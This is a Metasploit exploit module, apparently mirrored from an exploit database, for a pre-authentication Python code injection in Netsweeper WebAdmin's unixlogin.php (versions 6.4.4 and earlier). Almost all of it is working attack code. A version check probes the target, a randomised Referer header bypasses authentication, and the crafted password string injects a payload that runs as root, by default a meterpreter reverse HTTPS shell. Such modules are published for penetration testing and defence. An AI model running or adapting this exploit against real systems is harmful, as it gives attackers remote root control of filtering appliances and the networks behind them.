Share
## https://sploitus.com/exploit?id=PACKETSTORM:157679
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Netsweeper WebAdmin unixlogin.php Python Code Injection',  
'Description' => %q{  
This module exploits a Python code injection in the Netsweeper  
WebAdmin component's unixlogin.php script, for versions 6.4.4 and  
prior, to execute code as the root user.  
  
Authentication is bypassed by sending a random whitelisted Referer  
header in each request.  
  
Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.  
Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has  
been confirmed exploitable.  
},  
'Author' => [  
# Reported to SecuriTeam SSD by an anonymous researcher  
# Reference exploit written by said anonymous researcher  
# Publicly disclosed by Noam Rathaus of SecuriTeam's SSD  
'wvu' # Module  
],  
'References' => [  
['URL', 'https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/'],  
['URL', 'https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says']  
],  
'DisclosureDate' => '2020-04-28', # SecuriTeam SSD advisory  
'License' => MSF_LICENSE,  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Privileged' => true,  
'Targets' => [['Python', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true,  
'PAYLOAD' => 'python/meterpreter/reverse_https'  
},  
'Notes' => {  
'NOCVE' => 'Publicly disclosed via SecuriTeam SSD advisory',  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path,  
'/webadmin/tools/systemstatus_remote.php'),  
'headers' => {  
'Referer' => rand_referer(:check) # Auth bypass via Referer header  
}  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check request.')  
end  
  
unless res.code == 200  
return CheckCode::Unknown('Target is not running Netsweeper.')  
end  
  
if res.body.include?('Permission Denied: Unauthorized access.')  
return CheckCode::Safe('Target has rejected our Referer auth bypass.')  
end  
  
# Example version information from /webadmin/tools/systemstatus_remote.php:  
# Version: 6.4.3  
# Build Date: 2020-03-27 14:15:19  
# Database Version: 139  
unless (version = res.body.scan(/^Version: ([\d.]+)$/).flatten.first)  
return CheckCode::Detected(  
'Target did not respond with Netsweeper version.'  
)  
end  
  
if Gem::Version.new(version) <= Gem::Version.new('6.4.4')  
return CheckCode::Appears(  
"Netsweeper #{version} is a vulnerable version."  
)  
end  
  
CheckCode::Safe("Netsweeper #{version} is NOT a vulnerable version.")  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
referer = rand_referer(:exploit)  
vprint_status("Selecting random whitelisted Referer header: #{referer}")  
vprint_status("Injecting Python code into password field: #{fake_password}")  
  
normie_uri = normalize_uri(target_uri.path, '/webadmin/tools/unixlogin.php')  
print_status("Sending #{datastore['PAYLOAD']} to #{full_uri(normie_uri)}")  
  
# The application may block on the payload, so time out reasonably soon  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normie_uri,  
'headers' => {  
'Referer' => referer  
},  
'vars_post' => {  
'login' => '.', # Bypass user check by injecting `grep . /etc/shadow'  
'password' => fake_password  
}  
}, 3.5)  
  
return unless res  
  
# An unexpected reply typically means some sort of error, so print it out  
fail_with(Failure::UnexpectedReply, res.body)  
end  
  
def fake_password  
return @fake_password if @fake_password  
  
# Arguments for crypt.crypt(): https://docs.python.org/2/library/crypt.html  
word = rand_text_alphanumeric(8..42)  
salt = rand_text_alphanumeric(2) # This is DES-safe because we remove algo  
  
# Python code injection occurs in the $2 positional parameter from sh(1):  
# password=$($PYTHON -c "import crypt; print crypt.crypt('$2', '\$$algo\$$salt\$')")  
@fake_password = "#{word}', '#{salt}'); #{payload.encoded} #"  
end  
  
# Select a random Referer [sic] header value from an appropriate whitelist  
def rand_referer(method = :check)  
case method  
when :check  
%w[  
webadmin/admin/systemstatus_inc_data.php  
webadmin/api/  
webadmin/common/systemstatus_overview_ajax.php  
].sample  
when :exploit  
%w[  
systemconfig/edit_database_settings.php  
systemconfig/edit_file.php  
systemconfig/manage_certs.php  
webadmin/admin/service_manager_data.php  
webadmin/api/  
webadmin/systemconfig/edit_email_sending_settings.php  
webadmin/systemconfig/grant_db_access.php  
].sample  
else  
fail_with(Failure::BadConfig,  
"I don't know how to #{method}, but I do know how to love")  
end  
end  
  
end